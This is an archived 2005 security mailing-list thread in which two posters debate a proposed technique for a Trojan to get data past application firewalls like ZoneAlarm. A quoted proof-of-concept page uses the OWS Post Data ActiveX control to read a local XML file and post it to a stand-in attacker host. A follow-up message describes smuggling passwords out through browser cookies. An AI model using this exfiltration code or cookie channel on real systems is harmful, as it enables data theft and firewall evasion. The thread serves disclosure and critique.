full-disclosure - [WEB SECURITY] RE: new attack technique? using JavaScript+XML+OWSPost Data

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Thu Dec 22 04:27:55 2005
From: gaurav at securebox.org (Gaurav Kumar)
Subject: [WEB SECURITY] RE: new attack technique? using
	JavaScript+XML+OWSPost Data

I must agree to the fact that above technique is NOT efficient in the
sense that it uses local files called by an InternetZone page and also
involves ActiveX control to send out the data.

While carefully analyzing the problem I wonder if it is possible-

The Trojan will create a cookie using InternetSetCookie and store the
data it wants to send out. For example the attacker is hosting the
site www.somesite.com following API can be called by Trojan-

InternetSetCookie( www.somesite.com, somecookiename,password);

Rest is simple, the attacker will lure the user to visit somesite.com
and gets the cookie containing the data put by Trojan.

I am not sure if calling InternetSetCookie will generate some alert by
firewalls, just in case it does happen, the Trojan can continuously
scan for the cookie created by somesite.com. How it works is simple,
the attacker will lure the user to visit www.somesite.com/1.asp. This
1.asp will create a cookie which will be scanned by Trojan. The Trojan
will edit the content of the cookie with the data it wants to send to
somesite.com. The 1.asp redirects the user to www.somesite.com/2.asp
which receives the requested data.

1.asp uses Response.Cookies() and 2. asp uses Request.Cookies() ?rest is history


This technique is free from any local file access (except, of course,
accessing cookies by Trojan) and activeX components.

Regards,
Gaurav Kumar




On 12/22/05, Gaurav Kumar <gaurav@...urebox.org> wrote:
> On 12/22/05, Debasis Mohanty <mail@...kingspirits.com> wrote:
> > -----Original Message-----
> > From: Gaurav Kumar
> > Sent: Wednesday, December 21, 2005 8:59 PM
> > To: full-disclosure@...ts.grok.org.uk
> > Cc: websecurity@...appsec.org
> > Subject: [Full-disclosure] new attack technique? using
> > JavaScript+XML+OWSPost Data
> >
> > 1>> A Trojan has been to be placed in a system running an
> > 1>> application firewall like Zone Alarm Pro etc.
> >
> > >> Assumptions:
> >
> > 2>> The target system must be having office XP and the user has
> > 2>> to be lured to view a webpage hosted by attacker.
> >
> > 3>> The Trojan can be designed to generate an xml
> > 3>> file which will contain the data to be sent out. The attacker will lure
> > the
> > 3>> user to visit a website hosted by him.
> >
> > Lol !! In a practical scenario, the attacker who spreads the worm/trojans
> > himself is not aware in the initial stage which are the infected machines
> > unless the trojan sends back the machine/user info back to the attacker. Now
> > as you have already mentioned ZA is running then no data can be sent back to
> > the attacker. So the attacker is clueless which are those infected machines.
>
> Looks like u need to read again what i wrote. I didnt use the word
> 'spread'. Moreover, u need not know if the target system is running ZA
> or not...the technique works even if firewall
> is not installed. I am discussing a possible 'design' of a trojan
> here, doesnt matter is ZA or any other FW is running on client.
>
> > So the case of luring the user to visit the link is out of scope...
>
> really? ever heard of IE exploits?
>
>
> >
> > >> The site can have following HTML code-
> >
> > Now coming back to technical stuff, You are trying to access a local file
> > which will only be allowed if the site is in "Trusted Sites" or "Local
> > Intranet" or "Local Security Zone" and activex not marked safe. The fact
> > that *the client is also the server* is irrelevant.
> >
> > Try uploading the script to some webserver and give a html extention; it
> > will throw an _access denied_ error when the page loads (even on Win XP +
> > SP1).
> >
> > In case of any server side extention like *.asp, *.jsp etc, the user will be
> > prompted that an malicious component is trying to load and ask for user
> > permission.
> >
> >
> > >> <html>
> > >> <body>
> > >> The author is not responsible for any misuse,
> > >> this PoC is for educational purpose only.
> > >> <object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}"
> > >> id="exp">
> > >> </object>
> > >> <script LANGUAGE=javascript>
> > >> var xmlDoc
> > >> xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
> > >> xmlDoc.async=false;
> > >> xmlDoc.load("c:\\note.xml");
> > >> xmlObj=xmlDoc.documentElement;
> > >> var a= xmlObj.firstChild.text;
> > >> exp.Post(0,"http://www.attackersite.com/input.asp",a);
> > >> </script>
> > >> </body>
> > >> </html>
> >
> >
> > >> The above code (works well on windows XP SP2) essentials calls
> > >> "OWS Post Data" COM control to post the contents of note.xml
> > >> (generated by trojan) to attackersite.com
> >
> > IMHO, never conduct such tests in a "Intranet Zone" or "Local Zone" and draw
> > conclusion about "Internet Security Zone".
> >
> > You may also link to know about this issue -
> > http://support.microsoft.com/kb/317244/EN-US/
> >
> >
> > >>> Essentially, the technique is breaking the basic
> > >>> functionality of application firewalls by using OWS Post Data
> > >>> as bridge for sending out the data using Javascript and XML.
> >
> > Not Exactly !! I wud rather suggest you to do a little more research and
> > draw any conclusion. Keep those _Security Zones_ in mind before you post
> > anything...
>
> Well..Exactly! i would suggest u read the 'assumptions' first, its an
> assumption that user will click yes to warning...like most 'normal'
> users do.
> >
> >
> > - D
> >
> >
> >
> > ---------------------------------------------------------------------
> > The Web Security Mailing List
> > http://www.webappsec.org/lists/websecurity/
> >
> > The Web Security Mailing List Archives
> > http://www.webappsec.org/lists/websecurity/archive/
> >
> >
>